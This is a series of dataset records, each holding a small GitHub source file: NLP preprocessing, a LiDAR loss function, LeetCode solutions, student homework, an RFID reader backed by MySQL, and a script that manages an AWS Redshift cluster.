print(\"STAGE ZERO - LOADING DATA\")\n if data_extension == \"txt\":\n initial_corpus = self._load_by_line(self._initial_data_file, chunk_size)\n target_corpus = self._load_by_line(self._target_data_file, chunk_size)\n elif data_extension == \"csv\":\n initial_corpus, target_corpus = self._load_csv(self._initial_data_file)\n else:\n raise (Exception(\"Invalid file extension\"))\n\n initial_data, initial_vocab = self.preprocess(initial_corpus, initial_stage=initial_stage,\n seq_length=seq_length, if_target=False)\n target_data, target_vocab = self.preprocess(target_corpus, initial_stage=initial_stage, seq_length=seq_length,\n if_target=True)\n\n return initial_data, initial_vocab, target_data, target_vocab\n\n def preprocess(self, corpus, initial_stage, seq_length, if_target: bool): # tasks: SA, MT\n if if_target:\n save_file_type = \"target\"\n else:\n save_file_type = \"initial\"\n\n if initial_stage <= 1:\n print(\"STAGE ONE - CLEANING DATA\")\n print(\"INITIAL CORPUS CLEANING...\")\n if self._task == \"SA\" and if_target:\n cleaned_corpus = corpus\n else:\n cleaned_corpus = self.clear_corpus(corpus, target_language=if_target, save_file_type=save_file_type)\n\n print(\"STAGE ONE COMPLETE\")\n\n if initial_stage <= 2:\n print(\"STAGE TWO - CREATING VOCABULARIES\")\n if initial_stage > 1:\n print(\"LOADING DATA...\")\n cleaned_corpus = load_data(f'cleaned_corpus.txt.{save_file_type}')\n\n print(\"CREATING INITIAL LANGUAGE VOCABULARY...\")\n vocabulary = Vocabulary(self._task)\n for sentence in tqdm(cleaned_corpus):\n vocabulary.add_sentence(sentence)\n\n print(\"SAVING VOCABULARY...\")\n save_data(f'vocabulary.{save_file_type}', vocabulary)\n\n print(\"STAGE TWO COMPLETE\")\n\n if initial_stage <= 3:\n print(\"STAGE THREE - CREATING TEXT REPRESENTATION\")\n\n if initial_stage > 2:\n print(\"LOADING DATA...\")\n cleaned_corpus = load_data(f'cleaned_corpus.txt.{save_file_type}')\n vocabulary = load_data(f'vocabulary.{save_file_type}')\n\n print(\"CREATING TEXT REPRESENTATION...\")\n if self._task == \"SA\" and if_target:\n seq_length = 1\n\n cleaned_corpus = self.create_text_representation(\n cleaned_corpus, seq_length, vocabulary, target_language=if_target)\n text_representation = np.array(cleaned_corpus, dtype=object)\n save_data(f'text_representation.{save_file_type}', text_representation)\n\n if self._task == \"MT\" and if_target:\n target_input_representation, target_output_representation = self.create_output_data(\n cleaned_corpus)\n save_data(f'target_input_representation.{save_file_type}', target_input_representation)\n save_data(f'target_output_representation.{save_file_type}', target_output_representation)\n return [target_input_representation, target_output_representation], vocabulary\n else:\n return text_representation, vocabulary\n","repo_name":"GaldanTheSneaky/Machine_translation_2","sub_path":"preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":7766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37956186231","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\n\nclass ModelLoss(nn.Module):\n\n def __init__(self, params, device):\n super(ModelLoss, self).__init__()\n self.global_batch_size = params[\"batch_size\"]\n self.small_addon_for_BCE = params[\"small_addon_for_BCE\"]\n self.alpha_bce = params[\"alpha_bce\"]\n self.beta_bce = params[\"beta_bce\"]\n self.smooth_l1 = nn.SmoothL1Loss(reduction='none')\n self.device = device\n\n def reg_loss_fn(self, reg_target, reg_pred, pos_equal_one_reg, pos_equal_one_sum):\n targ = reg_target * pos_equal_one_reg\n pred = reg_pred * pos_equal_one_reg\n loss = self.smooth_l1(targ, pred) / pos_equal_one_sum\n return torch.sum(loss) * (1.0 / self.global_batch_size)\n\n def prob_loss_fn(self, prob_pred, pos_equal_one, pos_equal_one_sum, neg_equal_one, neg_equal_one_sum):\n pos_log = torch.log(prob_pred + self.small_addon_for_BCE)\n pos_prod = -pos_equal_one * pos_log\n cls_pos_loss = pos_prod / pos_equal_one_sum\n\n neg_log = torch.log(1 - prob_pred + self.small_addon_for_BCE)\n neg_prod = -neg_equal_one * neg_log\n cls_neg_loss = neg_prod / neg_equal_one_sum\n\n cls_loss = torch.sum(self.alpha_bce * cls_pos_loss + self.beta_bce * cls_neg_loss) * (1.0 / self.global_batch_size)\n return cls_loss, torch.sum(cls_pos_loss) * (1.0 / self.global_batch_size), torch.sum(cls_neg_loss) * (1.0 / self.global_batch_size)\n\n def forward(self, reg_pred, prob_pred, targets, pos_equal_one, pos_equal_one_reg, pos_equal_one_sum, neg_equal_one, neg_equal_one_sum):\n reg_loss = self.reg_loss_fn(targets, reg_pred, pos_equal_one_reg, pos_equal_one_sum)\n cls_loss, cls_pos_loss, cls_neg_loss = self.prob_loss_fn(prob_pred, pos_equal_one, pos_equal_one_sum, neg_equal_one, neg_equal_one_sum)\n loss = reg_loss + cls_loss\n return loss, reg_loss, cls_loss, cls_pos_loss, cls_neg_loss\n","repo_name":"neelm88/LIDAR_VoxelNet","sub_path":"loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"9679164614","text":"class Solution:\n def numberOfSubarrays(self, nums: List[int], k: int) -> int:\n# d={1:3,}\n# 1,1,2,1,1\n \n# 1,1,0,1,1\n# 1,2 2 ,3,3\n# 1,2,2,3,3\n\n dic=defaultdict(int)\n dic[0]=1\n r=0\n count=0\n p_s=[]\n for i in nums:\n r += i % 2\n p_s.append(r)\n print(p_s) \n for j in p_s:\n if (j - k) in dic:\n count+=dic[j-k]\n dic[j] += 1\n return count\n \n","repo_name":"FenetShewarega/compititve-programming","sub_path":"1248-count-number-of-nice-subarrays/1248-count-number-of-nice-subarrays.py","file_name":"1248-count-number-of-nice-subarrays.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11626899466","text":"#!/usr/bin/python3\n\"\"\"\na module base that is base of all the other clases, goal of it\nis to manage id attribute in all and to avoid duplicating the same code\n\"\"\"\nimport json\nimport csv\nimport os.path\nimport turtle\n\n\nclass Base:\n \"\"\" class base that is \"base\" of all other classes in the project\n \"\"\"\n __nb_objects = 0\n\n def __init__(self, id=None):\n \"\"\" initializer \"\"\"\n if id is not None:\n self.id = id\n else:\n Base.__nb_objects += 1\n self.id = Base.__nb_objects\n\n @staticmethod\n def to_json_string(list_dictionaries):\n \"\"\" method that returns the JSON string representation of\n list_dictionaries \"\"\"\n if list_dictionaries is None or len(list_dictionaries) == 0:\n return \"[]\"\n else:\n return json.dumps(list_dictionaries)\n\n @classmethod\n def save_to_file(cls, list_objs):\n \"\"\" method that writes the JSON string representation of list_objs\n to a file \"\"\"\n filename = \"{}.json\".format(cls.__name__)\n dic_list = []\n if not list_objs:\n pass\n else:\n for i in range(len(list_objs)):\n dic_list.append(list_objs[i].to_dictionary())\n mylists = cls.to_json_string(dic_list)\n with open(filename, mode=\"w\") as my_file:\n my_file.write(mylists)\n\n @staticmethod\n def from_json_string(json_string):\n \"\"\" method that returns the list of the JSON string representation\n json_string \"\"\"\n if not json_string:\n return []\n return json.loads(json_string)\n\n @classmethod\n def create(cls, **dictionary):\n \"\"\" method that returns an instance with all attributes already set\n \"\"\"\n if cls.__name__ == \"Rectangle\":\n new_instance = cls(5, 5)\n else:\n new_instance = cls(5)\n new_instance.update(**dictionary)\n return new_instance\n\n @classmethod\n def load_from_file(cls):\n \"\"\" method that returns a list of instances \"\"\"\n filename = \"{}.json\".format(cls.__name__)\n if os.path.exists(filename) is False:\n return []\n with open(filename, mode=\"r\") as my_file:\n str_list = my_file.read()\n list_class = cls.from_json_string(str_list)\n instance_list = []\n for i in range(len(list_class)):\n instance_list.append(cls.create(**list_class[i]))\n return instance_list\n\n @classmethod\n def load_from_file_csv(cls):\n \"\"\" serializes and deserializes in CSV \"\"\"\n filename = \"{}.csv\".format(cls.__name__)\n\n if os.path.exists(filename) is False:\n return []\n with open(filename, mode='r') as my_file:\n reader = csv.reader(my_file)\n csvlist = list(reader)\n\n if cls.__name__ == \"Rectangle\":\n listkeys = ['id', 'width', 'height', 'x', 'y']\n else:\n listkeys = ['id', 'size', 'x', 'y']\n matrix = []\n for csvelem in csvlist:\n dictcsv = {}\n for i in enumerate(csvelem):\n dictcsv[listkeys[i[0]]] = int(i[1])\n matrix.append(dictcsv)\n\n listins = []\n for indx in range(len(matrix)):\n listins.append(cls.create(**matrix[indx]))\n\n return (listins)\n\n @classmethod\n def save_to_file_csv(cls, list_objs):\n \"\"\" Method that saves a CSV file \"\"\"\n filename = \"{}.csv\".format(cls.__name__)\n\n if cls.__name__ == \"Rectangle\":\n list_dic = [0, 0, 0, 0, 0]\n list_keys = ['id', 'width', 'height', 'x', 'y']\n else:\n list_dic = ['0', '0', '0', '0']\n list_keys = ['id', 'size', 'x', 'y']\n\n matrix = []\n\n if not list_objs:\n pass\n else:\n for obj in list_objs:\n for kv in range(len(list_keys)):\n list_dic[kv] = obj.to_dictionary()[list_keys[kv]]\n matrix.append(list_dic[:])\n\n with open(filename, 'w') as writeFile:\n writer = csv.writer(writeFile)\n writer.writerows(matrix)\n\n @staticmethod\n def draw(list_rectangles, list_squares):\n \"\"\" opens a window and draws all the Rectangles and Squares \"\"\"\n t = turtle.Turtle()\n window = turtle.Screen()\n window.bgcolor(\"white\")\n\n for r in list_rectangles:\n t.penup()\n t.goto(r.x, r.y)\n t.pendown()\n for _ in range(2):\n t.fd(r.width)\n t.left(90)\n t.fd(r.height)\n t.left(90)\n t.penup()\n t.hideturtle()\n\n for _ in list_squares:\n t.penup()\n t.goto(s.x, s.y)\n t.pendown()\n for i in range(4):\n t.fd(s.width)\n t.left(90)\n t.penup()\n t.hideturtle\n window.exitonclick()\n","repo_name":"kevkatam/alx-higher_level_programming","sub_path":"0x0C-python-almost_a_circle/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":4932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"26173114734","text":"from scipy.integrate import odeint\nimport numpy as np\nimport main\nfrom scipy.optimize import minimize\nimport random\n\n#Purpose: Create Objective Function\n#Variable: sequence is the schedule that the medication is administered\ndef objectiveFun(sequence):\n days = 10; size = 5; k = 1; mRate = .05; growthRates = np.full(size,.5)\n popArr = main.calcPopDistribution(size,.01); resistances = main.expResAssign(size,2,0,size-1)\n mutationRatesUp, mutationRatesDown = main.detMutationRate(mRate,size,True,False)\n resultArr = odeint(main.calculateChange, popArr, np.arange(0, days, 1), (growthRates, mutationRatesUp, mutationRatesDown, k, resistances, main.periodicDrugDay(sequence, days),np.zeros(popArr.size)))\n weightAns = 0\n for i in range(0, len(resistances)):\n for j in range(0,len(resultArr)):\n weightAns = weightAns + (resistances[i]*resultArr[j][i])\n return weightAns\n\ndef constraintOne(sequence):\n return sum(sequence)-1\n\nsize = 10; aguess = np.full(int(size/2),1); bguess = np.full(int(size/2),0); initGuess = np.append(aguess,bguess)\nb = (0,1); bnds = (b,b)*(int(size/2))\ncon1 = {'type': 'ineq', 'fun': constraintOne}\nsolution = minimize(objectiveFun,initGuess,method='SLSQP',bounds=bnds,constraints=con1)\n\nwhile solution.fun > .005:\n print(solution.fun); print(solution.x); print(\"\")\n for index in range(0,size):\n initGuess[index] = random.randint(0,1)\n b = (0, 1); bnds = (b, b) * (int(size / 2))\n con1 = {'type': 'ineq', 'fun': constraintOne}\n solution = minimize(objectiveFun, initGuess, method='SLSQP', bounds=bnds, constraints=con1)\n\noneCounter = 0; zeroCounter = 0\ntherapyComb = np.array(solution.x)\nfor i in range(0, len(therapyComb)):\n if therapyComb[i] > 0:\n therapyComb[i] = 1\n oneCounter = oneCounter + 1\n else:\n therapyComb[i] = 0\n zeroCounter = zeroCounter + 1\nprint(\"Zero\", zeroCounter); print(\"One:\", oneCounter)\nprint(therapyComb)\nprint(solution.fun)","repo_name":"RajatDoshi/CancerModel","sub_path":"optimize.py","file_name":"optimize.py","file_ext":"py","file_size_in_byte":1967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11191746154","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def addTwoNumbers(self, l1: Optional[ListNode], l2: Optional[ListNode]) -> Optional[ListNode]:\n carry = 0\n carryActivated = False\n arrayList = []\n temp = dummy = ListNode(0)\n \n while l1 and l2:\n arrayList.append((l1.val+l2.val+carry)%10)\n carry = (l1.val+l2.val+carry) // 10\n if l1.next == None:\n l1 = l1.next\n l2 = l2.next\n break\n if l2.next == None:\n l1 = l1.next\n l2 = l2.next\n break\n l1 = l1.next\n l2 = l2.next\n \n while l1:\n arrayList.append((l1.val+carry)%10)\n carry = (l1.val+carry) // 10\n l1 = l1.next\n while l2:\n arrayList.append((l2.val+carry)%10)\n carry = (l2.val+carry) // 10\n l2 = l2.next\n if carry > 0:\n arrayList.append(carry)\n \n for i in range(len(arrayList)):\n newNode = ListNode(arrayList[i])\n dummy.next = newNode\n dummy = dummy.next\n \n return temp.next\n\n##Another easier approach \n# res = dummy = ListNode()\n# carry = 0\n# while l1 or l2:\n# v1, v2 = 0, 0\n# if l1: v1, l1 = l1.val, l1.next\n# if l2: v2, l2 = l2.val, l2.next\n \n# val = carry + v1 + v2\n# res.next = ListNode(val%10)\n# res, carry = res.next, val//10\n \n# if carry:\n# res.next = ListNode(carry)\n \n# return dummy.next\n\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\n\n## Another method\nclass Solution:\n def addTwoNumbers(self, l1: Optional[ListNode], l2: Optional[ListNode]) -> Optional[ListNode]:\n finalList = dummy = ListNode(0)\n carry = 0\n temp = 0\n while l1 and l2:\n temp = l1.val + l2.val\n temp = temp + carry\n print(temp)\n if temp < 10:\n dummy.next = ListNode(temp)\n carry = 0\n else:\n carry = temp // 10\n temp1 = temp % 10\n dummy.next = ListNode(temp1) \n dummy = dummy.next\n l1 = l1.next\n l2 = l2.next\n while l1 != None:\n temp = l1.val + carry\n carry = temp // 10\n dummy.next = ListNode(temp%10)\n l1 = l1.next\n dummy = dummy.next\n while l2 != None:\n temp = l2.val + carry\n carry = temp // 10\n dummy.next = ListNode(temp%10)\n l2 = l2.next\n dummy = dummy.next\n if carry ==1:\n dummy.next = ListNode(carry)\n return finalList.next\n \n \n \n \n \n \n ","repo_name":"rishabparekh14/PythonPracticeAndLeetCodeProgram","sub_path":"DSA_Basics/summingTheTwoLinkedListNodeWise.py","file_name":"summingTheTwoLinkedListNodeWise.py","file_ext":"py","file_size_in_byte":3158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"26957349342","text":"\"\"\"\nName: Ryan Campbell\n.py\n\nProblem: Purpose of this assignment is to create for loops that also\naccumulate and compute data to create a wanted output.\n\nCertification of Authenticity:I, Ryan Campbell, certify that this assignment\nis entirely my own work.\n\nI certify that this assignment is entirely my own work.\nI certify that this assignment is my own work, but I discussed it with: \n\"\"\"\n\n\ndef average():\n number_of_grades = eval(input(\"how many grades will you enter?:\"))\n grade_sum = 0\n for i in range(number_of_grades):\n i = i + 1\n grade_value = eval(input(\"Enter grade:\"))\n grade_sum = grade_sum + grade_value\n grade_average = grade_sum / number_of_grades\n print(\"average is\", grade_average)\n\n\ndef tip_jar():\n tip_sum = 0\n for i in range(5):\n i = i + 1\n tip_ = eval(input(\"how much would you like to donate?:\"))\n tip_sum = tip_sum + tip_\n print(\"total tips:\", tip_sum)\n\n\ndef newton():\n number_to_sqrt = eval(input(\"What number do you want to square root?\"))\n number_to_improve = eval(input(\"How many times should we improve the approximation?\"))\n approximation = number_to_sqrt\n for i in range(number_to_improve):\n i = i + 1\n approximation = (approximation + (number_to_sqrt / approximation)) / 2\n print(\"the square root is approximately:\", approximation)\n\n\ndef sequence():\n number_of_term = eval(input(\"how many terms would you like?:\"))\n for i in range(1, number_of_term + 1):\n print((i - 1) + (i % 2))\n\n\ndef pi():\n number_of_terms = eval(input(\"How many terms in the series?\"))\n total_denominator_ = 1\n total_numerator = 1\n for i in range(2, number_of_terms + 2):\n denominator_ = ((i - 1) + (i % 2))\n total_denominator_ = denominator_ * total_denominator_\n for j in range(1, number_of_terms + 1):\n numerator_ = ((j - 1) + (j % 2)) + 1\n total_numerator = numerator_ * total_numerator\n fraction_ = total_numerator / total_denominator_\n print(((round(fraction_, 20)) * 2))\n\n\nif __name__ == '__main__':\n pass\n","repo_name":"RyanMC35/220","sub_path":"assignments/hw3/hw3.py","file_name":"hw3.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37574741683","text":"from bridges.bridges import *\nfrom bridges.color import *\nfrom bridges.color_grid import *\nfrom bridges.data_src_dependent.data_source import *\nimport math\nimport re\nimport sys\n\ndef split_lyrics(lyrics):\n lyrics = re.sub('[\\(\\[].*?[\\)\\]]', '', lyrics)\n lyrics = lyrics.strip()\n lyrics_split = lyrics.split()\n print(lyrics_split)\n\n\n for i in range(len(lyrics_split)):\n lyrics_split[i] = lyrics_split[i].replace(\"\\\\W+$\", \"\")\n lyrics_split[i] = lyrics_split[i].replace(\"^\\\\W+\", \"\")\n lyrics_split[i] = lyrics_split[i].strip()\n\n return lyrics_split\n\ndef split_lines(lyrics):\n lyrics = lyrics.replace(\"\\\\[.+\\\\]\", \"\")\n lyrics = lyrics.strip()\n lyrics_split = lyrics.split(\"\\\\n+\")\n corpus = [len(lyrics_split)]\n\n for i in range(len(corpus)):\n corpus[i] = split_lyrics(lyrics_split[i])\n\n return corpus\n\ndef term_frequency(term, document):\n tf =0\n for word in document:\n if term.lower() == word.lower():\n tf = tf + 1\n else:\n tf = tf + 0\n\n return tf\n\ndef has_term(term, document):\n for word in document:\n if term.lower() == word.lower():\n return True\n return False\n\ndef documents_containing_term(term, corpus):\n n = 0\n\n for document in corpus:\n if has_term(term, document):\n n = n + 1\n else:\n n = n +0\n return n\n\ndef inverse_document_frequency(term, corpus):\n return math.log(len(corpus) / (1 + documents_containing_term(term, corpus)))\n\ndef term_frequency_inverse_document_frequency(term, document, corpus):\n return term_frequency(term, document) * inverse_document_frequency(term, corpus)\n\ndef get_unique_terms(corpus):\n unique_terms = []\n\n for document in corpus:\n for term in document:\n if term not in unique_terms:\n unique_terms.append(term)\n\n return unique_terms\n\ndef vectorize(document, corpus, unique_terms):\n vector = dict()\n\n for term in unique_terms:\n vector[term] = term_frequency_inverse_document_frequency(term, document, corpus)\n\ndef cosine(v1, v2):\n return float(dot_product(v1,v2)/ (norm(v1)*norm(v2)))\n\ndef dot_product(v1, v2):\n sum = 0\n\n for key in v1.keys():\n sum = sum + v1[key] * v2[key]\n\n return sum\n\ndef norm(vector):\n return math.sqrt(dot_product(vector, vector))\n\n\ndef main():\n args = sys.argv[1:]\n\n # create the Bridges object, set credentials\n\n bridges = Bridges(int(args[0]), args[1], args[2])\n\n if len(args) > 3:\n bridges.connector.set_server(args[3])\n\n # Set assignment title\n bridges.set_title(\"ListEQ Example\")\n\n\n song = get_song(\"Delicate\").lyrics\n lyrics = split_lyrics(song)\n\n if len(lyrics) > 480:\n word_count = 480\n else:\n word_count = len(lyrics)\n\n grid = ColorGrid(word_count, word_count)\n\n match_color = Color(0,0,0,1)\n default_color = Color(255,255,255,1)\n\n for i in range(word_count):\n for j in range(word_count):\n if lyrics[i].lower() != lyrics[j].lower():\n grid.set(i,j,match_color)\n else:\n grid.set(i,j,default_color)\n\n bridges.set_title(\"Song Grid\")\n bridges.set_data_structure(grid)\n bridges.visualize()\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"BridgesUNCC/bridges-client-testing","sub_path":"python/data_src_dependent/grid_lyrics/grid_lyrics.py","file_name":"grid_lyrics.py","file_ext":"py","file_size_in_byte":3273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"19162735406","text":"import xml.etree.ElementTree as ET\r\n\r\ntree = ET.parse('candy-data.xml')\r\nroot = tree.getroot()\r\n\r\nfor percent in root.iter('sugarpercent'):\r\n new_percent = round(float(percent.text),3)\r\n percent.text = str(new_percent)\r\n\r\ntree.write('candy-data.xml')","repo_name":"jbonner50/python-project-collection","sub_path":"change_xml.py","file_name":"change_xml.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"42360111725","text":"import logging\nimport os\nfrom datetime import datetime\n\nLOG_FILE = f\"{datetime.now().strftime('%m_%d_%Y_%H_%M_%S')}.log\"\n\n# combines the current working directory (os.getcwd()), the \"logs\" folder name, and the LOG_FILE variable. This will give you the complete path to the log file, including the folder structure.\nlogs_path = os.path.join(os.getcwd(),\"logs\",LOG_FILE)\n\n# This line creates the directory structure specified by the logs_path . exist_ok=True argument ensures that the directory is created only if it doesn't already exist. If the directory already exists, it will not raise an error.\nos.makedirs(logs_path,exist_ok=True)\n\n# to create the complete path to the log file, including the filename.\nLOG_FILE_PATH = os.path.join(logs_path,LOG_FILE)\n\n\nlogging.basicConfig(\n filename=LOG_FILE_PATH,\n ## The format in which the Logging information would be printed and log files would be Created:\n format=\"[ %(asctime)s ] %(lineno)d %(name)s - %(levelname)s - %(message)s\",\n level=logging.INFO\n)\n\n# if __name__ == \"__main__\":\n# logging.info(\"This is a test message\")","repo_name":"Meet3456/ML_STUDENT_PERFORMANCE","sub_path":"src/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11413334989","text":"from django.core.management.base import BaseCommand\n\nfrom distro_tracker.core.retrieve_data import UpdateRepositoriesTask\nfrom distro_tracker.core.tasks import run_task\n\n\nclass Command(BaseCommand):\n \"\"\"\n A management command which updates package information found in all\n registered repositories.\n \"\"\"\n help = ( # noqa\n \"Update the package information found in registered repositories\")\n\n def add_arguments(self, parser):\n parser.add_argument(\n '--force-update',\n action='store_true',\n dest='force_update',\n default=False,\n help=(\n 'Force the update. '\n 'This clears any caches and makes a full update'\n )\n )\n\n def handle(self, *args, **kwargs):\n params = {}\n if kwargs['force_update']:\n params['force_update'] = True\n\n run_task(UpdateRepositoriesTask, **params)\n","repo_name":"rhertzog/distro-tracker","sub_path":"distro_tracker/core/management/commands/tracker_update_repositories.py","file_name":"tracker_update_repositories.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"} +{"seq_id":"19735899005","text":"from smartcard.CardRequest import CardRequest\nfrom smartcard.Exceptions import CardRequestTimeoutException\nfrom smartcard.CardType import AnyCardType\nfrom smartcard import util\nfrom accesslinkTools import PolarAccessLink\nimport time\nimport json\nimport mysql.connector\n# INSERT \n#sql = \"INSERT INTO CLIENTS (name, cardID) VALUES (%s, %s)\"\n#val = (\"Thomas\", \"[139, 28, 63, 172]\")\n#mydb.commit()\n#print(mycursor.rowcount, \"record inserted\")\n\n#Database connection\nmydb = mysql.connector.connect(\n host=\"localhost\",\n user=\"root\",\n password=\"Mermailmegalo1\",\n database=\"db_rfid\"\n\n)\n\nmycursor = mydb.cursor()\n\n\nif __name__ == '__main__':\n # respond to the insertion of any type of smart card\n card_type = AnyCardType()\n\n # create the request. Wait for up to x seconds for a card to be attached\n request = CardRequest(timeout=None, cardType=card_type)\n\n #clients = json.load(c)\n while True:\n time.sleep(0.1)\n # listen for the card\n service = None\n try:\n service = request.waitforcard()\n except CardRequestTimeoutException:\n print(\"ERROR: No card detected\")\n exit(-1)\n\n # when a card is attached, open a connection\n conn = service.connection\n conn.connect()\n\n # get and print the ATR and UID of the card\n get_uid = util.toBytes(\"FF CA 00 00 00\")\n print(\"ATR = {}\".format(util.toHexString(conn.getATR())))\n data, sw1, sw2 = conn.transmit(get_uid)\n uid = util.toHexString(data)\n status = util.toHexString([sw1, sw2])\n print(\"UID = {}\\tstatus = {}\".format(uid, status))\n #print(uid)\n #print(data)\n sql = \"SELECT cardID FROM CLIENTS WHERE cardID = %s\"\n adr = (uid,)\n mycursor.execute(sql,adr)\n result = mycursor.fetchall()\n \n\n if mycursor.rowcount==1 :\n print(\"Success\")\n PolarAccessLink()\n else:\n print(\"Refused\")\n\n time.sleep(2)\n ","repo_name":"thomasFJS/TSEM2","sub_path":"read.py","file_name":"read.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8505894215","text":"import configparser\nimport boto3\nimport json\nimport pandas as pd\n\ndef prettyRedshiftProps(props):\n \"\"\"Prints the properties of the redshift cluster in a visually appealing table.\n \n Keyword arguments:\n props -- a dictionary of the props of the redshift cluster.\n \"\"\"\n pd.set_option('display.max_colwidth', -1)\n keysToShow = [\"ClusterIdentifier\", \"NodeType\", \"ClusterStatus\", \"MasterUsername\", \"DBName\", \"Endpoint\", \"NumberOfNodes\", 'VpcId']\n x = [(k, v) for k,v in props.items() if k in keysToShow]\n return pd.DataFrame(data=x, columns=[\"Key\", \"Value\"])\n\n\ndef main():\n \"\"\"This program manages creating and deleting a redshift cluster through \n infrastructure as code (IAC). The program has three options:\n 1 - to create the cluster\n 2 - to checke the status of the cluster\n 3 - to delete the cluster\n \"\"\"\n ## load the configuration file and variables\n config = configparser.ConfigParser()\n config.read('dwh.cfg')\n \n KEY = config.get('AWS','KEY')\n SECRET = config.get('AWS','SECRET')\n \n DWH_CLUSTER_TYPE = config.get(\"DWH\",\"DWH_CLUSTER_TYPE\")\n DWH_NUM_NODES = config.get(\"DWH\",\"DWH_NUM_NODES\")\n DWH_NODE_TYPE = config.get(\"DWH\",\"DWH_NODE_TYPE\")\n\n DWH_CLUSTER_IDENTIFIER = config.get(\"DWH\",\"DWH_CLUSTER_IDENTIFIER\")\n DWH_DB = config.get(\"DWH\",\"DWH_DB\")\n DWH_DB_USER = config.get(\"DWH\",\"DWH_DB_USER\")\n DWH_DB_PASSWORD = config.get(\"DWH\",\"DWH_DB_PASSWORD\")\n DWH_PORT = config.get(\"DWH\",\"DWH_PORT\")\n\n DWH_IAM_ROLE_NAME = config.get(\"DWH\", \"DWH_IAM_ROLE_NAME\")\n \n # create AWS resources: ec2, s3, iam, and redshift \n ec2 = boto3.resource('ec2',\n region_name = \"us-west-2\",\n aws_access_key_id=KEY,\n aws_secret_access_key=SECRET)\n\n s3 = boto3.resource('s3',\n region_name = \"us-west-2\",\n aws_access_key_id=KEY,\n aws_secret_access_key=SECRET)\n\n iam = boto3.client('iam',\n region_name = \"us-west-2\",\n aws_access_key_id=KEY,\n aws_secret_access_key=SECRET)\n\n redshift = boto3.client('redshift',\n region_name = \"us-west-2\",\n aws_access_key_id=KEY,\n aws_secret_access_key=SECRET)\n \n option = input(\"Please choose an option:\\n\"+\n \"Enter '1' to create the redhshift cluster\\n\"+\n \"Enter '2' to check the status of the redshift cluster\\n\"+\n \"Enter '3' to delete the redshift cluster\\n\"+\n \"Enter an option: \")\n \n\n if (option == '1'): \n # create the redshift cluster\n try:\n print('1.1 Creating a new IAM Role')\n dwhRole = iam.create_role(\n Path = '/',\n RoleName = DWH_IAM_ROLE_NAME,\n Description = \"Allows Refshift clusters to call AWS services\",\n AssumeRolePolicyDocument = json.dumps(\n {'Statement': [{'Action': 'sts:AssumeRole',\n 'Effect': 'Allow','Principal': {'Service':'redshift.amazonaws.com'}}],\n 'Version': '2012-10-17'}))\n except Exception as e:\n print(e)\n \n print('1.2 Attaching Policy')\n iam.attach_role_policy(RoleName = DWH_IAM_ROLE_NAME,\n PolicyArn = 'arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess'\n )['ResponseMetadata']['HTTPStatusCode']\n \n print('1.3 Get the IAM role ARN')\n roleArn = iam.get_role(RoleName = DWH_IAM_ROLE_NAME)['Role']['Arn']\n print(roleArn)\n\n try:\n response = redshift.create_cluster( \n # add parameters for hardware\n ClusterType = DWH_CLUSTER_TYPE,\n NodeType = DWH_NODE_TYPE, \n NumberOfNodes = int(DWH_NUM_NODES),\n\n # add parameters for identifiers & credentials\n DBName = DWH_DB,\n ClusterIdentifier = DWH_CLUSTER_IDENTIFIER,\n MasterUsername = DWH_DB_USER,\n MasterUserPassword = DWH_DB_PASSWORD,\n \n # add parameter for role (to allow s3 access)\n IamRoles = [roleArn])\n except Exception as e:\n print(e)\n \n \n if (option == '2'):\n # check the status of the redshift cluster\n try:\n myClusterProps = redshift.describe_clusters(ClusterIdentifier=DWH_CLUSTER_IDENTIFIER)['Clusters'][0]\n print(prettyRedshiftProps(myClusterProps)) \n except Exception as e:\n print(e)\n if (myClusterProps['ClusterStatus']=='available'):\n DWH_ENDPOINT = myClusterProps['Endpoint']['Address']\n DWH_ROLE_ARN = myClusterProps['IamRoles'][0]['IamRoleArn']\n print(\"DWH_ENDPOINT :: \", DWH_ENDPOINT)\n print(\"DWH_ROLE_ARN :: \", DWH_ROLE_ARN)\n \n \n\n if (option == '3'):\n # delete the cluster and the IAM role\n redshift.delete_cluster( ClusterIdentifier=DWH_CLUSTER_IDENTIFIER, SkipFinalClusterSnapshot=True)\n iam.detach_role_policy(RoleName=DWH_IAM_ROLE_NAME, PolicyArn=\"arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess\")\n iam.delete_role(RoleName=DWH_IAM_ROLE_NAME)\n \n \n \n \nif __name__ == \"__main__\":\n 